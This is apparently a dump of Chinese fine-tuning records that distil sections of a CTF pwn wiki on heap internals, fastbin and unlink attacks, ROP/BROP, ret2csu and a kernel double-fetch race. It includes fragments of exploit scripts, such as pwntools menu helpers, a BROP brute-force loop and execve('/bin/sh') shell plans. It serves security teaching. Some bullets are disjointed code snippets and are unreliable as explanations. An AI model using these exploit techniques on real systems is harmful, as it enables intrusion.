"pwn", "chars": 250, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "是否连续", "heading_path": ["define DEFAULT_TOP_PAD 131072", "是否连续"], "original_id": "docs-4d71b1308a4acdf7a03b", "original_line": 1166, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "62d10bbbac5d5e6464376487", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-777070a4473612649f21", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「漏洞」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：Fastbin Attack > 2015 9447 CTF : Search Engine > 漏洞\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“漏洞”展开。\n- } ` 因为 read_str 不设置NULL ，因此，如果 nptr 读取的不合法的话，就有可能会 leak 出栈上的内容。\n- ` 可以看出，在每次释放 i->sentence_ptr 之前，这个句子的内容就会全部被设置为 \\x00 ，由于单词结构体中存储的单词只是句子的一个指针，所以单词也会被置为 \\x00 。\n- 此外，当句子被 memset 的时候，单词虽然都变为了 \\x00 ，但是我们仍然可以通过两个 \\x00 的比较来绕过 memcmp` 的检测。\n- 看起来由于句子内容被置为 \\x00 可以防止通过 i->sentence_ptr 验证。\n- if ( v5 == '\\n' && _flag_enter ) { if ( v4 ) { v5 = 0;\n\n关键术语：\n- 堆\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 26 行，首行 `_flag_enter = flag_enter;`\n- c: 17 行，首行 `__int64 read_num()`\n- c: 4 行，首行 `else`\n- c: 21 行，首行 `for ( i = head; i; i = i->next )`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1800, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "漏洞", "heading_path": ["Fastbin Attack", "2015 9447 CTF : Search Engine", "漏洞"], "original_id": "docs-50c7cfc151a09b1c4583", "original_line": 930, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "0ec06f35eab543a531177719", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-777ab68926619b682a31", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「改进2-多次利用」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`\n标题：中级ROP\n章节：中级ROP > ret2csu > 思考 > 改进 > 改进2-多次利用\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“改进2-多次利用”展开。\n- 但这里的多次利用需要更加严格的条件 - 漏洞可以被多次触发 - 在两次触发之间，程序尚未修改 r12-r15 寄存器，这是因为要两次调用。\n- 当然，有时候我们也会遇到一次性可以读入大量的字节，但是不允许漏洞再次利用的情况，这时候就需要我们一次性将所有的字节布置好，之后慢慢利用。\n- 我们可以看到我们的 gadgets 是分为两部分的，那么我们其实可以进行两次调用来达到的目的，以便于减少一次 gadgets 所需要的字节数。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 233, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "改进2-多次利用", "heading_path": ["中级ROP", "ret2csu", "思考", "改进", "改进2-多次利用"], "original_id": "docs-0ec1f13c4b8a281b9488", "original_line": 1280, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "source_root": "docs", "source_sha256": "2d11b5635ce2a11d71a4845a96933e353841718735da91048aa864c3d2273a3a", "split": "train", "split_group_key": "6006e45983583869ab360a0a", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "中级ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-78b56d6693e846e66d59", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/environment/build-qemu-dev.md` 中的章节「III、Object - 类的实例对象」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/environment/build-qemu-dev.md`\n标题：编写 QEMU 模拟设备\n章节：编写 QEMU 模拟设备 > QEMU Object Model > III、Object - 类的实例对象\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“III、Object - 类的实例对象”展开。\n- 我们还需要定义一个相应的 Object 类型来表示一个实例对象，其包含有这个类实际的具体数据，且应当继承于对应的 Object 结构体类型，例如我们若是要定义一个新的机器类型，其实例类型应当继承自 MachineState 所有 Object 结构体类型的最终的父类都是 Object 结构体： ``c /* Object: 所有对象的基类。\n- ` 下面是一个示例： `c struct A3Object { /< private >/ Object parent;\n- 因为 C 中将一个结构体的第一个成员组织在该结构体的 0 字节起始处， 只要任何的子类将其父类作为第一个成员，我们都能直接转化为一个 #Object. 因此, #Object 包含一个对对象类的引用作为其第一个成员。\n- 这允许在运行时识别对象的真实类型 / struct Object { /< private >/ ObjectClass class;\n- 该对象的第一个成员为一个指向 #ObjectClass 的指针。\n\n关键术语：\n- ROP/JOP\n- pwn\n- virtualization\n- qemu\n- environment\n- code:c\n\n代码/命令片段线索：\n- c: 19 行，首行 `/**`\n- c: 5 行，首行 `struct A3Object`\n- c: 16 行，首行 `static void a3_object_init(Object *obj)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1011, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "III、Object - 类的实例对象", "heading_path": ["编写 QEMU 模拟设备", "QEMU Object Model", "III、Object - 类的实例对象"], "original_id": "docs-e690d08d8ffc47efdc1d", "original_line": 1432, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/environment/build-qemu-dev.md", "source_root": "docs", "source_sha256": "2dd89f4d0e692cd2b5368ed9171ed8032c6dec86399f5d12280fb17b811fa39c", "split": "train", "split_group_key": "f5af66f64bd36d934524264a", "subcategory": "pwn/virtualization/qemu", "terms": ["ROP/JOP", "pwn", "virtualization", "qemu", "environment", "code:c"], "title": "编写 QEMU 模拟设备"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/environment/build-qemu-dev.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-78b701dd927afde4504d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「寻找PLT」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`\n标题：中级ROP\n章节：中级ROP > BROP > 攻击原理 > Blind ROP > 寻找PLT\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“寻找PLT”展开。\n- [图片文件: ./figure/brop_plt.png] 此外，对于大多数plt调用来说，一般都不容易崩溃，即使是使用了比较奇怪的参数。\n- 除此之外，我们还可以通过前后偏移6字节，来判断我们是处于plt表项中间还是说处于开头。\n- 而且，在每一个表项的6字节偏移处，是该表项对应的函数的解析路径，即程序最初执行该函数的时候，会执行该路径对函数的got地址进行解析。\n- 所以说，如果我们发现了一系列的长度为16的没有使得程序崩溃的代码段，那么我们有一定的理由相信我们遇到了plt表。\n- 如下图所示，程序的plt表具有比较规整的结构，每一个plt表项都是16字节。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 275, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "寻找PLT", "heading_path": ["中级ROP", "BROP", "攻击原理", "Blind ROP", "寻找PLT"], "original_id": "docs-f80804047d962474f2a7", "original_line": 1289, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "source_root": "docs", "source_sha256": "2d11b5635ce2a11d71a4845a96933e353841718735da91048aa864c3d2273a3a", "split": "train", "split_group_key": "3f3b90d1e2744583a1793ee2", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow"], "title": "中级ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-79cf6aa409b8a74cec71", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「基本信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：触发 system('/bin/sh') > 2014 HITCON stkof > 基本信息\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本信息”展开。\n- ``shell ➜ 2014_hitcon_stkof git:(master) file stkof stkof: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4872b087443d1e52ce720d0a4007b1920f18e7b0, stripp...\n\n关键术语：\n- 堆\n- 栈\n- pwn\n- linux\n- user-mode\n- heap\n- code:shell\n\n代码/命令片段线索：\n- shell: 9 行，首行 `➜ 2014_hitcon_stkof git:(master) file stkof`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 538, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "基本信息", "heading_path": ["触发 system('/bin/sh')", "2014 HITCON stkof", "基本信息"], "original_id": "docs-39e2214240b61d963428", "original_line": 1078, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "3526936749dcb21e2ee3c5e6", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "pwn", "linux", "user-mode", "heap", "code:shell"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-79d4a8b63148ac68661a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「large bin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：申请内存块 > _int_malloc > large bin\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 但是，其实在 large bin 中并没有直接去扫描对应 bin 中的chunk，而是先利用 malloc_consolidate（参见malloc_state相关函数） 函数处理 fast bin 中的chunk，将有可能能够合并的 chunk 先进行合并后放到 unsorted bin 中，不能够合并的就直接放到 unsorted bin 中，然后再在下面的大循环中进行相应的处理。\n- 这是ptmalloc 的机制，它会在分配 large chunk 之前对堆中碎片 chunk 进行合并，以便减少堆中的碎片。\n- While it might look excessive to kill all fastbins before even seeing if there is space available, this avoids fragmentation problems normally associated with fastbins.\n- ``c++ / If this is a large request, consolidate fastbins before continuing.\n- // 如果存在fastbin的话，会处理 fastbin if (have_fastchunks(av)) malloc_consolidate(av);\n- 当 fast bin、small bin 中的 chunk 都不能满足用户请求 chunk 大小时，就会考虑是不是 large bin。\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 16 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1014, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "large bin", "heading_path": ["申请内存块", "_int_malloc", "large bin"], "original_id": "docs-1c02f86a75afe9022265", "original_line": 1145, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "22b618f3a78f1e1eb23b40ea", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7a911bb5c8397b27520b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「基本操作」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：触发 system('/bin/sh') > 2016 ZCTF note2 > 基本思路 > 基本操作\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本操作”展开。\n- ```python p = process('./note2') note2 = ELF('./note2') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') context.log_level = 'debug'\n- def newnote(length, content): p.recvuntil('option--->>') p.sendline('1') p.recvuntil('(less than 128)') p.sendline(str(length)) p.recvuntil('content:') p.sendline(content)\n- def shownote(id): p.recvuntil('option--->>') p.sendline('2') p.recvuntil('note:') p.sendline(str(id))\n- def editnote(id, choice, s): p.recvuntil('option--->>') p.sendline('3') p.recvuntil('note:') p.sendline(str(id)) p.recvuntil('2.append]') p.sendline(str(choice)) p.sendline(s)\n- def deletenote(id): p.recvuntil('option--->>') p.sendline('4') p.recvuntil('note:') p.sendline(str(id)) ```\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:python\n\n代码/命令片段线索：\n- python: 29 行，首行 `p = process('./note2')`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 741, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "基本操作", "heading_path": ["触发 system('/bin/sh')", "2016 ZCTF note2", "基本思路", "基本操作"], "original_id": "docs-cd2ad85b3d692490b6a3", "original_line": 1083, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "82efe7cefaf537223398bda8", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:python"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7a9862a3f5caa9cf5d9b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md` 中的章节「Exploit」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/race/double-fetch.md`\n标题：Double Fetch\n章节：Double Fetch > 2018 0CTF Finals Baby Kernel > Exploit\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Exploit”展开。\n- } void exploit(void) { int fd, result_fd, addr_fd, flag_fd;\n- } int main(int argc, char argv, char envp) { exploit();\n- void chal_print_flag(int fd) { ioctl(fd, 0x6666);\n- } void chal_verify_flag(int fd, struct chal_arg arg) { ioctl(fd, 0x1337, arg);\n- } void race_thread_fn(void args) { while (flag_not_found) { for (int i = 0;\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 104 行，首行 `/**`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2914, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "Exploit", "heading_path": ["Double Fetch", "2018 0CTF Finals Baby Kernel", "Exploit"], "original_id": "docs-bb5e87738a49ba39577a", "original_line": 783, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/double-fetch.md", "source_root": "docs", "source_sha256": "c9b70bf8939ac1214b392075d17bd8d75fcd6da1799a7a73b3edd911a1a15991", "split": "train", "split_group_key": "1f6520f31c772ebe3b924562", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "Double Fetch"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/race/double-fetch.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7aa8d73357ffda705bba", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md` 中的章节「概述」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md`\n标题：堆相关数据结构\n章节：define INTERNAL_SIZE_T size_t > bin > 概述\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“概述”展开。\n- 我们曾经说过，用户释放掉的 chunk 不会马上归还给系统，ptmalloc 会统一管理 heap 和 mmap 映射区域中的空闲的chunk。\n- 这样可以避免频繁的系统调用，降低内存分配的开销。\n- 这些bin对应的数据结构在 malloc_state 中，如下 ``c++ #define NBINS 128 / Normal bins packed as described above / mchunkptr bins[ NBINS 2 - 2 ];\n- 需要注意的是，并不是所有的 chunk 被释放后就立即被放到 bin 中。\n- bin 通用的宏如下 `c++ typedef struct malloc_chunk mbinptr;\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 3 行，首行 `#define NBINS 128`\n- c++: 14 行，首行 `typedef struct malloc_chunk *mbinptr;`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2231, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "概述", "heading_path": ["define INTERNAL_SIZE_T size_t", "bin", "概述"], "original_id": "docs-3b3dedd41f5f88d317c3", "original_line": 954, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "source_root": "docs", "source_sha256": "b1de1dbec6826b99266e11e63b8d9fae7712a0f329395937de325e916d1378e8", "split": "train", "split_group_key": "b0bbb2a363dc9fa3c31a117e", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "堆相关数据结构"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-structure.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7ad97d6787322fadcd83", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「寻找 stop gadgets」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`\n标题：中级ROP\n章节：中级ROP > BROP > 例子 > 寻找 stop gadgets\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“寻找 stop gadgets”展开。\n- \\n') payload = 'a' * length + p64(addr) sh.sendline(payload) sh.recv() sh.close() print 'one success addr: 0x%x' % (addr) return addr except Exception: addr += 1 sh.close() ` 这里我们直接尝试64位程序没有开启PIE的情况，因为一般是这个样子的，，，如果开启了，，那就按照开启了的方法做，，结果发现了不少，，我选择了一个貌似返回到源程序中的...\n- 寻找过程如下 ``python def get_stop_addr(length): addr = 0x400000 while 1: try: sh = remote('127.0.0.1', 9999) sh.recvuntil('password?\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:python\n- code:text\n\n代码/命令片段线索：\n- python: 15 行，首行 `def get_stop_addr(length):`\n- text: 1 行，首行 `one success stop gadget addr: 0x4006b6`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 457, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "寻找 stop gadgets", "heading_path": ["中级ROP", "BROP", "例子", "寻找 stop gadgets"], "original_id": "docs-2f4c20970fdb97550a6f", "original_line": 1294, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "source_root": "docs", "source_sha256": "2d11b5635ce2a11d71a4845a96933e353841718735da91048aa864c3d2273a3a", "split": "train", "split_group_key": "563bad7621b681efe9b632c8", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:python", "code:text"], "title": "中级ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/medium-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-7b6b617aff3236300d9d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`\n标题：中级ROP\n章节：中级ROP > ret2csu > 示例\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“示例”展开。\n- 其次，寻找程序的漏洞，可以看出程序中有一个简单的栈溢出 `c ssize_t vulnerable_function() { char buf;\n- 再次利用栈溢出执行 libc_csu_gadgets 执行 execve('/bin/sh') 获取 shell。\n- 基本利用思路如下 - 利用栈溢出执行 libc_csu_gadgets 获取 write 函数地址，并使得程序重新执行 main 函数 - 根据 libcsearcher 获取对应 libc 版本以及 execve 函数地址 - 再次利用栈溢出执行 libc_csu_gadgets 向 bss 段写入 execve 地址以及 '/bin/sh’ 地址，并使得程序重新执行main 函数。\n- 首先检查程序的安全保护 ``shell ➜ ret2__libc_csu_init git:(iromise) ✗ checksec level5 